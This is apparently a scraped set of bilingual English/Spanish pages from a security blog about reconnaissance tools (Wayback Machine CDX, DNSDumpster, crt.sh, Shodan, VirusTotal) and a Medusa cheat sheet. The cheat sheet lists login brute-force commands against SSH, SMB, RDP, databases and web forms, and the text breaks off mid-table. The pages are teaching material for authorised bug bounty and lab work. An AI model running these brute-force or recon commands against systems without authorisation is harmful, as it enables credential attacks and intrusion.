### Wayback Machine
URL: https://thehacksparrow.com/wayback-machine/
Last updated: 2026-09-23T10:56:02.000Z
> **What it is** — archive.org's **Wayback Machine** stores historical snapshots of web pages over time. Beyond manually browsing snapshots, its **CDX API** lets you list **every archived URL** for a domain — including paths that no longer exist on the live site.
| **Type** | Web archive + API |
| -------- | ------------------------------------------- |
| **Cost** | Free, no signup |
| **URL** | [web.archive.org](https://web.archive.org/) |
## How to use it
View the snapshot history of a specific URL:
```bash
https://web.archive.org/web/*/target.com/*
```
List EVERY archived URL for an entire domain via the CDX API (much more powerful for recon):
```bash
curl -s "http://web.archive.org/cdx/search/cdx?url=target.com/*&output=text&fl=original&collapse=urlkey" | sort -u
```
> **Why it's useful:** this list includes paths from old versions of the site — API endpoints that are no longer documented, JS files revealing parameter names or internal routes, admin panels that were retired but whose code is still deployed, `.zip`/`.bak` backups someone once uploaded by mistake.
## What I use it for
- **Discovering forgotten endpoints:** combined with `grep`, I filter the CDX API output by extension (`.php`, `.json`, `.env`) or keyword (`admin`, `api`, `backup`, `test`) to find paths that aren't linked anywhere anymore but are sometimes still live.
- **Reading old JS source code:** earlier versions of a JavaScript file sometimes expose comments, hardcoded keys, or endpoints that were cleaned up in the current version.
- **Understanding how a site evolved over time:** useful for identifying technologies or frameworks used previously that might still linger in less-maintained parts of the site.
## Link
[web.archive.org →](https://web.archive.org/)
> **Qué es** — la Wayback Machine de **archive.org** guarda capturas históricas de páginas web a lo largo del tiempo. Más allá de navegar snapshots manualmente, su **API CDX** permite listar **todas las URLs archivadas** de un dominio — incluyendo rutas que ya no existen en la web actual.
| **Tipo** | Archivo web + API |
| --------- | ------------------------------------------- |
| **Coste** | Gratis, sin registro |
| **URL** | [web.archive.org](https://web.archive.org/) |
## Cómo se usa
Ver el histórico de snapshots de una URL concreta:
```bash
https://web.archive.org/web/*/objetivo.com/*
```
Listar TODAS las URLs archivadas de un dominio entero vía la API CDX (mucho más potente para recon):
```bash
curl -s "http://web.archive.org/cdx/search/cdx?url=objetivo.com/*&output=text&fl=original&collapse=urlkey" | sort -u
```
> **Por qué es útil:** esta lista incluye rutas de versiones antiguas de la web — endpoints de API que ya no se documentan, ficheros JS que revelan nombres de parámetros o rutas internas, paneles de administración que se retiraron pero cuyo código sigue desplegado, backups `.zip`/`.bak` que alguien subió por error una vez.
## Para qué lo uso yo
- **Descubrir endpoints olvidados:** combinado con `grep`, filtro la salida de la API CDX por extensión (`.php`, `.json`, `.env`) o por palabras clave (`admin`, `api`, `backup`, `test`) para encontrar rutas que ya no se enlazan desde ningún sitio pero que a veces siguen activas.
- **Ver el código fuente de JS antiguo:** versiones anteriores de un fichero JavaScript a veces exponen comentarios, claves hardcodeadas o endpoints que se limpiaron en la versión actual.
- **Entender cómo cambió una web con el tiempo:** útil para identificar tecnologías o frameworks que se usaron antes y podrían seguir presentes en partes menos mantenidas del sitio.
## Enlace
[web.archive.org →](https://web.archive.org/)
### DNSDumpster
URL: https://thehacksparrow.com/dnsdumpster/
Last updated: 2026-09-23T10:56:03.000Z
> **What it is** — DNSDumpster is a free web-based DNS reconnaissance tool. Give it a domain and it returns its **known subdomains**, **MX** records (mail), **TXT** records, the hosting provider behind each IP found, and in many cases a **visual map** of how that infrastructure relates to itself.
| **Type** | Free web service |
| -------- | ------------------------------------------------------------------ |
| **Cost** | Free (optional account for more results) |
| **URL** | [dnsdumpster.com](https://dnsdumpster.com/?ref=thehacksparrow.com) |
## How to use it
Simply enter the domain in the site's search box:
```text
target.com
```
The results table shows, for every subdomain found, its IP and the provider/ASN it belongs to — useful for telling apart an organisation's own infrastructure from third-party cloud infrastructure (CDN, shared hosting).
> Like crt.sh, it's **passive reconnaissance**: the data comes from already-indexed public sources, no direct traffic is sent to the target during the query.
## What I use it for
- **Quick infrastructure overview:** in the first minutes of recon on a bug bounty program, it gives me a general picture of how many subdomains exist and where they're hosted, before deciding where to dig deeper.
- **Identifying who hosts what:** telling apart which parts of the infrastructure sit on the organisation's own AWS/Azure/GCP versus third-party services (sometimes out of the program's scope).
- **Pairs well with crt.sh:** I use it alongside crt.sh — sometimes one finds subdomains the other doesn't, so I combine both before moving to active brute-forcing.
## Link
[dnsdumpster.com →](https://dnsdumpster.com/?ref=thehacksparrow.com)
> **Qué es** — DNSDumpster es una herramienta web gratuita de reconocimiento DNS. Le das un dominio y te devuelve sus **subdominios conocidos**, registros **MX** (correo), registros **TXT**, el proveedor de hosting de cada IP encontrada, y en muchos casos un **mapa visual** de cómo se relaciona toda esa infraestructura.
| **Tipo** | Servicio web gratuito |
| --------- | ------------------------------------------------------------------ |
| **Coste** | Gratis (cuenta opcional para más resultados) |
| **URL** | [dnsdumpster.com](https://dnsdumpster.com/?ref=thehacksparrow.com) |
## Cómo se usa
Simplemente introduces el dominio en el buscador de la web:
```text
objetivo.com
```
La tabla de resultados indica, por cada subdominio encontrado, su IP y el proveedor/ASN al que pertenece — útil para distinguir infraestructura propia de infraestructura en la nube de terceros (CDN, hosting compartido).
> Al igual que crt.sh, es **reconocimiento pasivo**: los datos vienen de fuentes públicas ya indexadas, no se envía tráfico directo al objetivo durante la consulta.
## Para qué lo uso yo
- **Vista rápida de infraestructura:** en los primeros minutos de recon de un programa de bug bounty, me da una foto general de cuántos subdominios hay y dónde están alojados, antes de decidir dónde profundizar.
- **Identificar quién aloja qué:** distinguir qué partes de la infraestructura están en AWS/Azure/GCP propios de la organización frente a servicios de terceros (a veces fuera de scope del programa).
- **Complemento a crt.sh:** lo uso junto a crt.sh — a veces uno encuentra subdominios que el otro no, así que combino ambos antes de pasar a fuerza bruta activa.
## Enlace
[dnsdumpster.com →](https://dnsdumpster.com/?ref=thehacksparrow.com)
### crt.sh
URL: https://thehacksparrow.com/crt-sh/
Last updated: 2026-09-23T10:56:04.000Z
> **What it is** — crt.sh is a search tool over **Certificate Transparency** (CT) logs: a public system where every certificate authority is required to log every TLS certificate it issues. Since any domain/subdomain with HTTPS needs a certificate, searching these logs reveals **subdomains** that might never show up in a normal DNS scan.
| **Type** | Free web service |
| -------- | ------------------------------------------------ |
| **Cost** | Free, no signup |
| **URL** | [crt.sh](https://crt.sh/?ref=thehacksparrow.com) |
## How to use it
Search by domain directly on the site, or via the JSON API:
```bash
https://crt.sh/?q=%25.target.com&output=json
```
The `%25.` wildcard (URL-encoded `%.`) captures any subdomain. With `jq` you can filter and clean up the results easily:
```bash
curl -s "https://crt.sh/?q=%25.target.com&output=json" | \
jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
```
> **Why it works:** many dev, staging, or internal subdomains that are never linked from the public site still need a valid TLS certificate to function — and that certificate gets publicly logged in the CT logs, whether the team likes it or not.
## What I use it for
- **First step in bug bounty recon:** before any subdomain brute-forcing, I check crt.sh — it's instant and generates zero traffic against the target.
- **Finding dev/staging subdomains** that often have weaker protections than production (looser auth, debug mode on, unpatched versions).
- **Spotting wildcards and shared certificates** that sometimes reveal a relationship between seemingly unrelated organisations' domains (vendors, subsidiaries) sharing infrastructure.
## Link
[crt.sh →](https://crt.sh/?ref=thehacksparrow.com)
> **Qué es** — crt.sh es un buscador sobre los logs de **Certificate Transparency** (CT): un sistema público donde toda autoridad certificadora está obligada a registrar cada certificado TLS que emite. Como cualquier dominio/subdominio con HTTPS necesita un certificado, buscar en estos logs revela **subdominios** que quizá nunca aparecerían en un escaneo DNS normal.
| **Tipo** | Servicio web gratuito |
| --------- | ------------------------------------------------ |
| **Coste** | Gratis, sin registro |
| **URL** | [crt.sh](https://crt.sh/?ref=thehacksparrow.com) |
## Cómo se usa
Búsqueda por dominio directamente en la web, o por API en formato JSON:
```bash
https://crt.sh/?q=%25.objetivo.com&output=json
```
El comodín `%25.` (URL-encoded de `%.`) captura cualquier subdominio. Con `jq` filtras y limpias los resultados fácilmente:
```bash
curl -s "https://crt.sh/?q=%25.objetivo.com&output=json" | \
jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
```
> **Por qué funciona:** muchos subdominios de desarrollo, staging o servicios internos que nunca se enlazan desde la web pública igualmente necesitan un certificado TLS válido para funcionar — y ese certificado queda registrado públicamente en los logs de CT, sin que el equipo pueda evitarlo.
## Para qué lo uso yo
- **Primer paso en recon de bug bounty:** antes de cualquier fuerza bruta de subdominios, consulto crt.sh — es instantáneo y no genera tráfico contra el objetivo.
- **Encontrar subdominios de desarrollo/staging** que a menudo tienen protecciones más débiles que producción (auth más laxa, debug activado, versiones sin parchear).
- **Detectar wildcards y certificados compartidos** que a veces revelan relación entre dominios de organizaciones distintas (proveedores, filiales) que comparten infraestructura.
## Enlace
[crt.sh →](https://crt.sh/?ref=thehacksparrow.com)
### Shodan
URL: https://thehacksparrow.com/shodan/
Last updated: 2026-09-23T10:56:04.000Z
> **What it is** — Shodan is a search engine, but instead of indexing web pages it indexes **devices and services connected to the internet**: servers, IP cameras, routers, SCADA/ICS systems, exposed databases, admin panels... It constantly scans the internet and stores the response banner of every open port, letting you search by software version, port, country, organisation, or SSL certificate.
| **Type** | Web search engine + API |
| -------- | --------------------------------------------------------------- |
| **Cost** | Basic searches free (account) · paid tiers for advanced/API use |
| **URL** | [shodan.io](https://www.shodan.io/?ref=thehacksparrow.com) |
## How to use it
Basic search by product/version:
```text
apache 2.4.49
```
Combinable filters (require a free registered account):
```text
org:"Some Company" port:3389
country:ES product:"MongoDB"
hostname:target.com
```
Search for a specific IP or domain:
```bash
https://www.shodan.io/host/
```
> Shodan shows you what it **already indexed in its last scan** — it doesn't scan the target at the moment of your search. It's entirely passive reconnaissance: you never touch the target directly.
## What I use it for
- **Passive recon in bug bounty:** before launching any active scanner against a program's scope, I check what Shodan already has indexed for those IPs/domains — it sometimes reveals services the team itself doesn't remember exposing.
- **Finding forgotten attack surface:** admin panels, unauthenticated databases, or dev/staging services accidentally exposed to the internet.
- **Confirming software version before exploiting:** if a public CVE requires a specific version, Shodan's banner sometimes confirms the exact version without touching the service at all.
- **Understanding an organisation's context:** what tech they use, which countries they have infrastructure in, whether they reuse the same configuration across multiple IPs.
> It's **passive** reconnaissance, but the target is still real: always respect the bug bounty program's scope before acting on any finding.
## Link
[shodan.io →](https://www.shodan.io/?ref=thehacksparrow.com)
> **Qué es** — Shodan es un motor de búsqueda, pero en vez de indexar páginas web indexa **dispositivos y servicios conectados a internet**: servidores, cámaras IP, routers, sistemas SCADA/ICS, bases de datos expuestas, paneles de administración... Escanea internet constantemente y guarda el banner de respuesta de cada puerto abierto, permitiéndote buscar por versión de software, puerto, país, organización o certificado SSL.
| **Tipo** | Motor de búsqueda web + API |
| --------- | ------------------------------------------------------------------------ |
| **Coste** | Búsquedas básicas gratis (cuenta) · planes de pago para uso avanzado/API |
| **URL** | [shodan.io](https://www.shodan.io/?ref=thehacksparrow.com) |
## Cómo se usa
Búsqueda básica por producto/versión:
```text
apache 2.4.49
```
Filtros combinables (requieren cuenta registrada, gratis):
```text
org:"Empresa S.A." port:3389
country:ES product:"MongoDB"
hostname:objetivo.com
```
Buscar por un IP o dominio concretos:
```bash
https://www.shodan.io/host/
```
> Shodan te muestra lo que **ya ha indexado en su último escaneo** — no escanea el objetivo en el momento de tu búsqueda. Es reconocimiento totalmente pasivo: nunca tocas el objetivo directamente.
## Para qué lo uso yo
- **Recon pasivo en bug bounty:** antes de lanzar cualquier escáner activo contra el scope de un programa, miro qué tiene Shodan indexado de esas IPs/dominios — a veces revela servicios que ni el propio equipo recuerda tener expuestos.
- **Encontrar superficie de ataque olvidada:** paneles de administración, bases de datos sin autenticación, o servicios de desarrollo/staging expuestos accidentalmente a internet.
- **Verificar versión de software antes de explotar:** si un CVE público requiere una versión concreta, el banner de Shodan a veces confirma la versión exacta sin necesidad de tocar el servicio.
- **Entender el contexto de una organización:** qué tecnología usan, en qué países tienen infraestructura, si reutilizan la misma configuración en múltiples IPs.
> Es reconocimiento **pasivo**, pero el objetivo sigue siendo real: respeta siempre el scope del programa de bug bounty antes de actuar sobre cualquier hallazgo.
## Enlace
[shodan.io →](https://www.shodan.io/?ref=thehacksparrow.com)
### VirusTotal
URL: https://thehacksparrow.com/virustotal/
Last updated: 2026-09-23T10:26:46.000Z
> **What it is** — VirusTotal is a free service (owned by Google/Chronicle) that scans **files, URLs, domains and IP addresses** against **70+ antivirus engines** plus dozens of static/dynamic analysis tools at once, and gives you an aggregated verdict. Instead of installing 70 antivirus products, you upload a file once and see what each one says.
| **Type** | Web service + API |
| -------- | -------------------------------------------------------------------- |
| **Cost** | Free (rate-limited public API) |
| **URL** | [virustotal.com](https://www.virustotal.com/?ref=thehacksparrow.com) |
## How to use it
### 1\. Scan a file
Drag the file onto the site, or via the API:
```bash
curl --request POST \
--url https://www.virustotal.com/api/v3/files \
--header 'x-apikey: ' \
--form file=@suspicious.exe
```
> **Careful:** uploading a file to VirusTotal shares it with the community and with the antivirus engines themselves — **never upload anything containing sensitive data, credentials, or material under an NDA**. That's what hash lookup is for (next point), which doesn't expose the file's contents.
### 2\. Look up a hash only (no upload)
If the file has already been analysed by someone before (quite likely with known malware or HTB machine binaries), you can query just its SHA256/SHA1/MD5 hash without uploading anything:
```bash
sha256sum suspicious.exe
```
```bash
curl --request GET \
--url https://www.virustotal.com/api/v3/files/ \
--header 'x-apikey: '
```
If there's no match, VT tells you it doesn't know it — then you decide whether it's worth uploading.
### 3\. Scan a URL or domain
Paste the URL on the site, or via the API:
```bash
curl --request POST \
--url https://www.virustotal.com/api/v3/urls \
--header 'x-apikey: ' \
--data 'url=http://suspicious-domain.com'
```
Returns whether any engine flags it as phishing, malware, or a known C2, plus its historical reputation (how long it's been registered, whether it recently changed IP, etc.).
## What I use it for
- **Bug bounty / phishing triage:** before touching a suspicious URL reported in a program, I run it through VT to see if others already flagged it as malicious — avoids opening something dangerous blind.
- **Binaries in CTF machines:** when I find a weird binary during a CTF (a backup, a custom executable in `C:\xampp`, etc.), I check its hash first — if it matches known malware, I already know the family without reverse-engineering it from scratch.
- **Verifying downloaded tools:** before running a binary from an obscure GitHub repo (PoC exploits, third-party releases), a quick VT check doesn't replace reading the code, but catches the obvious stuff.
- **Domain reputation:** when fingerprinting infrastructure during an engagement, checking how long a domain has been alive and its history helps tell legitimate infrastructure apart from recently-spun-up campaign infrastructure.
> VirusTotal is a quick starting point, **not a final verdict**: false positives and false negatives happen in both directions. Use it to prioritise where to look closer, not as a substitute for manual analysis.
## Link
[virustotal.com →](https://www.virustotal.com/?ref=thehacksparrow.com)
> **Qué es** — VirusTotal es un servicio gratuito (propiedad de Google/Chronicle) que analiza **ficheros, URLs, dominios y direcciones IP** pasándolos por **más de 70 motores antivirus** y decenas de herramientas de análisis estático/dinámico a la vez, y te devuelve un veredicto agregado. En vez de instalar 70 antivirus, subes un fichero una vez y ves qué dice cada uno.
| **Tipo** | Servicio web + API |
| --------- | -------------------------------------------------------------------- |
| **Coste** | Gratis (con límites de rate en la API pública) |
| **URL** | [virustotal.com](https://www.virustotal.com/?ref=thehacksparrow.com) |
## Cómo se usa
### 1\. Analizar un fichero
Arrastra el fichero a la web, o desde la API:
```bash
curl --request POST \
--url https://www.virustotal.com/api/v3/files \
--header 'x-apikey: ' \
--form file=@sospechoso.exe
```
> **Ojo:** subir un fichero a VirusTotal lo comparte con la comunidad y con los propios motores antivirus — **nunca subas nada que contenga datos sensibles, credenciales o material de un cliente bajo NDA**. Para eso existe la opción de búsqueda por hash (siguiente punto), que no expone el contenido del fichero.
### 2\. Buscar solo por hash (sin subir el fichero)
Si el fichero ya fue analizado por alguien antes (muy probable con malware conocido o binarios de máquinas de HTB), puedes consultar solo su hash SHA256/SHA1/MD5 sin subir nada:
```bash
sha256sum sospechoso.exe
```
```bash
curl --request GET \
--url https://www.virustotal.com/api/v3/files/ \
--header 'x-apikey: '
```
Si no hay coincidencia, VT te dice que no lo conoce — y ahí decides si merece la pena subirlo.
### 3\. Analizar una URL o un dominio
Pega la URL en la web, o por API:
```bash
curl --request POST \
--url https://www.virustotal.com/api/v3/urls \
--header 'x-apikey: ' \
--data 'url=http://dominio-sospechoso.com'
```
Devuelve si algún motor la marca como phishing, malware, o C2 conocido, y su reputación histórica (cuánto lleva registrada, si cambió de IP recientemente, etc.).
## Para qué lo uso yo
- **Bug bounty / phishing triage:** antes de tocar una URL sospechosa reportada en un programa, la paso por VT para ver si ya está marcada como maliciosa por otros — evita abrir algo peligroso a ciegas.
- **Binarios en máquinas CTF:** cuando encuentro un binario raro durante un CTF (un backup, un ejecutable custom en `C:\xampp`, etc.), miro primero su hash — si coincide con malware conocido, ya sé qué familia es sin tener que hacer ingeniería inversa desde cero.
- **Verificar herramientas descargadas:** antes de ejecutar un binario de un repo poco conocido de GitHub (exploits PoC, releases de terceros), un chequeo rápido en VT no sustituye leerse el código, pero pilla lo obvio.
- **Reputación de dominios:** al reconocer infraestructura durante un engagement, consultar cuánto lleva vivo un dominio y su historial ayuda a distinguir infraestructura legítima de infraestructura de campaña reciente.
> VirusTotal es un punto de partida rápido, **no un veredicto definitivo**: falsos positivos y falsos negativos existen en ambas direcciones. Úsalo para priorizar dónde mirar más de cerca, no como sustituto del análisis manual.
## Enlace
[virustotal.com →](https://www.virustotal.com/?ref=thehacksparrow.com)
### Medusa
URL: https://thehacksparrow.com/medusa/
Last updated: 2026-09-23T10:26:47.000Z
> Medusa is a modular, parallel brute-force login cracker that tests credentials against network services such as `ssh`, `ftp`, `http`, `smbnt`, `rdp`, or databases. Its strength is firing many simultaneous attempts against one or several hosts at once, each service through its own module (`-M`).
Medusa parallelizes along two axes at once: `-t` opens several threads against a single host and `-T` tests several hosts in parallel, so the number of simultaneous connections is the *product* of both. Grasping that multiplication is key to avoid saturating the network or triggering account lockouts. Combo files (`-C`) let you test specific `user:password` pairs instead of the cartesian product of `-U` by `-P`.
## 1\. Beginner level — services and wordlists

| Command | What it does |
| ----------------------------------------------------- | --------------------------------- |
| medusa -h -u user -P -M ssh | SSH brute force |
| medusa -h -U users -p pass -M ftp | FTP with a fixed password |
| medusa -h -U users -P -M ssh | Combined users and passwords |
| medusa -H hosts.txt -u user -P -M ssh | Multiple hosts |
| medusa -h -u user -P -M ssh -O out.txt | Saves the result |
| medusa -h -u user -P -M ssh -t 4 | Threads per host |
| medusa -h -u admin -P -M http -m DIR:/login | Brute-forces an HTTP login |
| medusa -h -U users -P -M mysql | MySQL |
| medusa -h -u admin -P -M rdp | RDP |
| medusa -h -u user -P -M smbnt | SMB |
| medusa -d | Lists the available modules |
| medusa -h -u user -P -M ssh -f | Stops at the first hit (per host) |
| medusa -h -u user -P -M ssh -v 6 | Verbosity level |
| medusa -M ssh -q | Shows the module's parameters |
## 2\. Advanced level — combos, parallelism, and forms

| Command | What it does |
| ----------------------------------------------------------------- | --------------------------------- |
| medusa -h -C combos.txt -M ssh | Combined user:password list |
| medusa -H hosts.txt -u user -P -M ssh -T 10 | Hosts in parallel |
| medusa -h -u user -P -M ssh -F | Stops after the first global hit |
| medusa -h -u admin -P -M web-form -m FORM:'user=&pass=' | Brute-forces a web form |
| medusa -h -u user -P -M ssh -e ns | Tries empty and username=password |
| medusa -h -u user -P -M ssh -r 3 -R 2 | Retries on network failure |
| medusa -h -U users -P -M ssh -n 2222 | Non-standard port |
| medusa -h -u administrator -P -M smbnt -m GROUP:DOMAIN | SMB with domain |
| medusa -h -u user -P -M ssh -b | Without startup banner |
| medusa -h -u user -P -M ssh -s | Forces SSL |
| medusa -h -u user -P -M postgres | PostgreSQL |
| medusa -h -u user -P -M vnc | VNC |
| medusa -h -u user -P -M telnet | Telnet |
| medusa -h -u user -P -M ssh -O log.txt -v 4 | Detailed log to file |
## 3\. Details people miss
- Don't confuse `-t` (threads per host) with `-T` (hosts in parallel): the total of simultaneous connections is the product of both, and setting it too high saturates the network or triggers lockouts.
- `-f` stops at the first hit *per host*; `-F` stops the whole run at the first *global* hit. They are different things.
- Before building the `-m` for `http` or `web-form`, run `medusa -M -q` to see the exact parameters that module accepts (FORM, DIR…).
- `-H` expects a host *file*, not a bare IP; for a single target use `-h`. Mixing them causes the input to be ignored.
- Account lockout is real: SSH, SMB, or RDP often lock after a few failures. Lower the threads and use `-r`/`-R` for network retries instead of hammering.
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> Medusa es un cracker de login por fuerza bruta modular y paralelo que prueba credenciales contra servicios de red como `ssh`, `ftp`, `http`, `smbnt`, `rdp` o bases de datos. Su fuerte es lanzar muchos intentos simultáneos contra uno o varios hosts a la vez, cada servicio a través de su módulo (`-M`).
Medusa paraleliza en dos ejes a la vez: `-t` abre varios hilos contra un mismo host y `-T` prueba varios hosts en paralelo, así que el número de conexiones simultáneas es el *producto* de ambos. Entender esa multiplicación es clave para no saturar la red ni disparar bloqueos de cuenta. Los ficheros de combos (`-C`) permiten probar pares `usuario:contraseña` concretos en lugar del producto cartesiano de `-U` por `-P`.
## 1\. Nivel principiante — servicios y wordlists

| Comando | Qué hace |
| ----------------------------------------------------- | --------------------------------- |
| medusa -h -u user -P -M ssh | Fuerza bruta SSH |
| medusa -h -U users -p pass -M ftp | FTP con contraseña fija |
| medusa -h -U users -P -M ssh | Usuarios y contraseñas combinados |
| medusa -H hosts.txt -u user -P -M ssh | Varios hosts |
| medusa -h -u user -P -M ssh -O out.txt | Guarda el resultado |
| medusa -h -u user -P -M ssh -t 4 | Hilos por host |
| medusa -h -u admin -P -M http -m DIR:/login | Fuerza login HTTP |
| medusa -h -U users -P -M mysql | MySQL |
| medusa -h -u admin -P -M rdp | RDP |
| medusa -h -u user -P -M smbnt | SMB |
| medusa -d | Lista los módulos disponibles |
| medusa -h -u user -P -M ssh -f | Para al primer acierto (por host) |
| medusa -h -u user -P -M ssh -v 6 | Nivel de verbosidad |
| medusa -M ssh -q | Muestra los parámetros del módulo |
## 2\. Nivel avanzado — combos, paralelismo y formularios

| Comando | Qué hace |
| ----------------------------------------------------------------- | ---------------------------------- |
| medusa -h -C combos.txt -M ssh | Lista combinada usuario:contraseña |
| medusa -H hosts.txt -u user -P -M ssh -T 10 | Hosts en paralelo |
| medusa -h -u user -P -M ssh -F | Para tras el primer acierto global |
| medusa -h -u admin -P -M web-form -m FORM:'user=&pass=' | Fuerza un formulario web |
| medusa -h -u user -P -M ssh -e ns | Prueba vacía y usuario=contraseña |
| medusa -h -u user -P -M ssh -r 3 -R 2 | Reintentos ante fallo de red |
| medusa -h -U users -P -M ssh -n 2222 | Puerto no estándar |
| medusa -h -u administrator -P -M smbnt -m GROUP:DOMAIN | SMB con dominio |
| medusa -h -u user -P -M ssh -b | Sin banner de inicio |
| medusa -h -u user -P -M ssh -s | Fuerza SSL |
| medusa -h -u user -P